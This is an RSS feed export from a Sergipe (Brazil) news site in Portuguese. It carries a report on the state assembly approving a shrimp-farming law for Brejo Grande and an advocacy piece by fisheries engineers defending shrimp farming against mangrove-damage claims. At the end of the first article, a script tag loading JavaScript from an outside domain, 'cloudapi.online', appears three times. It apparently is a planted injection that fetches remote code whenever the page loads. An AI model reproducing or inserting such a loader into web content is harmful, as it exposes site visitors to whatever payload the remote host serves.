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	<title>Arquivo para Brejo Grande - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para Brejo Grande - Só Sergipe</title>
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		<title>Deputados aprovam projeto que regulamenta a carcinicultura</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 30 Nov 2017 12:48:30 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Alese]]></category>
		<category><![CDATA[Brejo Grande]]></category>
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					<description><![CDATA[<p>Com uma galeria repleta de pequenos produtores do município de Brejo Grande, os deputados aprovaram nessa quinta-feira (29), na Assembleia Legislativa, o projeto de lei que dispõe sobre a Política Estadual de Carcinicultura, cujo o autor é o presidente da Casa, Luciano Bispo (PMDB). “Essa lei trará segurança jurídica a quem produz e aos órgãos [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<div class="titulo_editoria_noticia_interna" style="text-align: justify;">Com uma galeria repleta de pequenos produtores do município de Brejo Grande, os deputados aprovaram nessa quinta-feira (29), na Assembleia Legislativa, o projeto de lei que dispõe sobre a Política Estadual de Carcinicultura, cujo o autor é o presidente da Casa, Luciano Bispo (PMDB). “Essa lei trará segurança jurídica a quem produz e aos órgãos que licenciam e fiscalizam a atividade”, assegurou o presidente da Associação Norte Sergipana de Aquicultura (Ansa), Amilton Amorim.</div>
<div id="texto_noticia" class="texto_noticia_interna">
<p style="text-align: justify;">“Parabenizo ao presidente da Assembleia, autor do projeto, e demais pares que aprovaram o projeto de lei, que está fundamentada em leis federais”, destacou Amilton.  Ele explicou que não procede a informação que os produtores estariam usando produtos químicos nas águas, pois o camarão precisa de água extremamente limpa para viver. “Brejo Grande hoje vive outra realidade, porque o setor emprega 3,8 pessoas por hectare conta da carcinicultura. Gostaria que os órgãos nos apoiasse e não tomasse medidas radicais para prejudicar o pequeno produtor”, frisou.</p>
<p style="text-align: justify;">[box type=&#8221;success&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Amilton Amorim ressaltou, ainda, que Brejo Grande é o segundo produtor de camarão em águas de baixa salinidade do país “e agora, com a aprovação deste projeto, a tendência é esse mercado crescer, ajudando mais uma centena de famílias”. Hoje, 100 pequenas famílias sobrevivem da pesca do camarão na região, pois essa foi a fonte de renda encontrada depois que acabou o cultivo do arroz.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;"><strong>Sancionar </strong> &#8211; “Quero dizer a todos vocês de Brejo Grande que vivem da <span style="color: #0000ff;"><strong><a style="color: #0000ff;" href="https://www.sosergipe.com.br/carcinicultura-sera-atividade-mais-rentavel-de-sergipe-em-10-anos/" target="_blank">carcinicultura</a></strong></span> que o projeto foi aprovado. Levaremos o governador Jackson Barreto para Brejo Grande para que a lei seja sancionada na terra de vocês. É fundamental que o Governo do Estado, junto com vocês ajude as famílias a saírem da miserabilidade naquela região tão pobre que é a região do Norte”, disse o presidente da Alese, Luciano Bispo. A data para o governador ir à Brejo Grande ainda será definida.</p>
<p style="text-align: justify;">O projeto, que levou o nome de Itamar Rocha, em homenagem ao engenheiro de pesca e presidente da Associação Brasileira dos Criadores de Camarão (ABCC), visa o fomento, a proteção e a regulamentação da carcinicultura, reconhecendo-a como atividade agrosilvopastoril, de relevante interesse social e econômico, estabelecendo as condições para o seu desenvolvimento sustentável no Estado.</p>
<p style="text-align: justify;">As deputadas Ana Lúcia (PT), Maria Mendonça (PP) e o deputado Moritos Matos (PROS) ficaram contrários.</p>
<p style="text-align: justify;"><strong><span style="color: #0000ff;">Leia mais:</span></strong></p>
<ul>
<li style="text-align: justify;"><a href="https://www.sosergipe.com.br/carcinicultura-sera-atividade-mais-rentavel-de-sergipe-em-10-anos/" target="_blank">Carcinicultura será a atividade mais rentável de Sergipe em 10 anos</a></li>
<li style="text-align: justify;"><a href="https://www.sosergipe.com.br/criadores-de-camarao-discutem-futuro-negocios-em-sergipe/" target="_blank">Criadores de camarão discutem o futuro dos negócios em Sergipe</a></li>
</ul>
<p style="text-align: justify;"><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
</div>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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			</item>
		<item>
		<title>A carcinicultura como atividade sustentável</title>
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		<dc:creator><![CDATA[Só Sergipe]]></dc:creator>
		<pubDate>Wed, 18 Oct 2017 13:35:15 +0000</pubDate>
				<category><![CDATA[Artigos]]></category>
		<category><![CDATA[Adema]]></category>
		<category><![CDATA[antrópica]]></category>
		<category><![CDATA[Brejo Grande]]></category>
		<category><![CDATA[carcinicultura]]></category>
		<category><![CDATA[Google Earth]]></category>
		<category><![CDATA[rizicultura]]></category>
		<category><![CDATA[Sergipe]]></category>
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					<description><![CDATA[<p>Por : José Milton Barbosa (*)         Anderson de Almeida (*) &#160; Nos últimos dias temos ouvido repetidamente a afirmação: a carcinicultura está devastando os manguezais do Baixo São Francisco. Será que esta afirmação tão simplória traz em seu bojo toda a realidade da degradação do nosso “Velho Chico”?  E onde estão os outros fatores, [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p>Por : <strong>José Milton Barbosa (*)</strong></p>
<p><strong>        Anderson de Almeida (*)</strong></p>
<p>&nbsp;</p>
<p style="text-align: justify;">Nos últimos dias temos ouvido repetidamente a afirmação: a <em><strong>carcinicultura</strong></em> está devastando os manguezais do Baixo São Francisco. Será que esta afirmação tão simplória traz em seu bojo toda a realidade da degradação do nosso “Velho Chico”?  E onde estão os outros fatores, a saber:</p>
<ol style="text-align: justify;">
<li>a) implantação da rizicultura &#8211; incentivada nas margens do baixo São Francisco por políticas públicas, ações do Banco Mundial e Codevasf, há algumas décadas;</li>
<li>b) lançamento de esgotos &#8211; das 507 cidades apenas 33% tem tratamento de esgotos;</li>
<li>c) ocupação tradicional desordenada das margens e das áreas marginais e ilhas: invasão imobiliária e turística, plantios diversos e criação de grandes e médios animais;</li>
<li>d) a transposição que reduzirá ainda mais o volume da água do rio e possibilitará um grande aporte de espécies de outras bacias pondo em risco as espécies nativas;</li>
<li>e) redução drástica da vazão do rio que atualmente é de 576 metros cúbicos/segundo em Xingó, aumentando a salinidade, em virtude do avanço da cunha salina pelo enfraquecimento do rio. Fato que está inviabilizando algumas culturas tradicionais, como por exemplo: arroz e frutas.</li>
<li>f) uso não orientado e indiscriminado de agrotóxicos, utilização de EPIs, causando problemas de saúde ambiental e humana.</li>
</ol>
<p style="text-align: justify;">A soma destes vetores causa a degradação econômica da população ribeirinha e dos municípios, afetando os baixos Índices de Desenvolvimento Humanos (0,540 em Brejo Grande – o terceiro menor de Sergipe), já combalidos pelos baixos indicadores de saúde, educação e Produto Interno Bruto – PIB &#8211;  (53 007 Mil, 55º do Estado).</p>
<p style="text-align: justify;">Ademais, a louvável ação da Fiscalização Preventiva Integrada (FPI) identificou os maus criadores. Será que são carcinicultores unicamente, ou já foram bovinocultores, fruticultores ou rizicultores, que sempre degradaram o meio ambiente ao logo do tempo e nunca foram orientados ou cobrados pelos seus desmazelos?</p>
<p style="text-align: justify;">Das centenas de carcinicultores apenas 18 foram autuados (menos de 10%) em vários municípios, o que se enquadra perfeitamente dentro de um cenário de dificuldades enfrentadas pelos criadores o que inclui a demora e clareza na elaboração e aplicação da legislação, falta de assistência técnica e a incipiência de políticas públicas de apoio aos produtores. A legislação sobre o assunto só foi estabelecida claramente com o novo Código Florestal (Lei nº 12.651/2012).</p>
<p style="text-align: justify;">É preciso atenuar que, muitas vezes, os pequenos produtores têm na pobreza e no baixo nível educacional os principais entraves ao exercício da cidadania e o usufruto responsável dos recursos naturais. Visto que, certamente, o homem, enquanto espécie animal, na imperiosidade de escolher entre prover a subsistência de sua família e a preservação ambiental, geralmente optará pela primeira em detrimento da segunda. É possível inferir que a falta de investimentos e a incapacidade gerencial ou descapitalização institucional precisa de alguma forma ser superada para prover a melhoria dos Índices de Desenvolvimento Humano na região, com aporte de atividades capazes de gerar renda e manter o homem nas suas comunidades como, por exemplo, o artesanato, o turismo e a aquicultura i.e. carcinicultura (Leitão &amp; Barbosa, 2006).</p>
<p style="text-align: justify;">É possível asseverar que a carcinicultura é uma atividade capaz de resgatar a dignidade e a cidadania de pessoas sem  acesso as alternativas tradicionais, inviabilizadas por percalços ambientais e incipiência de políticas acumulados ao longo dos anos.</p>
<p style="text-align: justify;">[box type=&#8221;success&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Brejo Grande é um novo e promissor pólo de Carcinicultura. A atividade substitui, em grande área, a rizicultura – atividade praticada deste a década de 1990 e inviabilizada pelo aumento da salinidade da água na região. A carcinicultura é muito mais rentável economicamente, emprega mais mão-de-obra e é de produtividade superior que a maioria das atividades agropecuárias, produzindo mais em menor espaço o que é salutar para o meio ambiente.</p>
<p style="text-align: justify;">Segundo dados da Embrapa a rizicultura utiliza muito agrotóxico sendo altamente impactante, além de gerador de gás metano para o meio ambiente. No Brasil, o total de ingredientes ativos de agrotóxicos comercializados para uso no cultivo do arroz irrigado por inundação, do total, 93,2% correspondeu a venda de herbicidas, 3,8% de fungicidas e 3% de inseticidas. Para o arroz de terras altas, do total, 78,9% correspondeu a venda de herbicidas, 16,4% de fungicidas e 4,8% de inseticidas.</p>
<p style="text-align: justify;">Na carcinicultura não há a necessidade do uso de agrotóxicos e é de baixo impacto quando comparada a outras atividades, pois o criador precisa cuidar da qualidade ambiental para garantir a sustentabilidade de seu negócio.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">Segundo Alberto Vinicius Santos, ex-procurador da Adema em Sergipe, no seu artigo “Carcinicultura e o novo código Florestal” publicado no <a href="http://www.jus.com.br">www.jus.com.br</a>,  a carcinicultura no Brasil é praticada há cerca de 30 anos e vem sendo alvo, ao longo desse tempo, de forma cíclica e sistemática, de muitas incompreensões, desconfianças e preconceitos que, a pretexto de tentarem enquadrá-la como uma atividade econômica de menor importância e, aprioristicamente, degradadora do meio ambiente, na verdade tem instigado aqueles que a praticam e a estudam a, cada vez, mais, contextualizá-la num cenário de desenvolvimento sustentável, de importante gerador de divisas para a economia nacional e de atividade legalmente protegida.</p>
<p style="text-align: justify;">As imagens acima do Google Earth mostram claramente que a ação antrópica &#8211; que alterou a paisagem da região &#8211; é muito anterior à carcinicultura, atividade que teve seu desenvolvimento consolidado apenas nesta década, em substituição a outras atividades.</p>
<p style="text-align: justify;">Assim, é notório que não é justo imputar os erros do passado a atividade “carcinicultura”, havendo necessidade de separar o joio do trigo, pois há muito mais criadores legais e respeitadores das leis ambientais do que os poucos que as têm desrespeitado. A carcinicultura praticada de forma correta promove o desenvolvimento sustentável como atividade agrosilvopastoril como define a lei <a href="http://legislacao.planalto.gov.br/legisla/legislacao.nsf/Viw_Identificacao/lei%2013.288-2016?OpenDocument"> nº 13.288, de 16 de maio de 2016</a><strong>, Art. 2º no item V.</strong></p>
<p><strong>(*) Engenheiros de Pesca / Associação Norte Sergipana de Aquicultura-ANSA e Associação de Engenheiros de Pesca de Sergipe-AEP/SE</strong></p>
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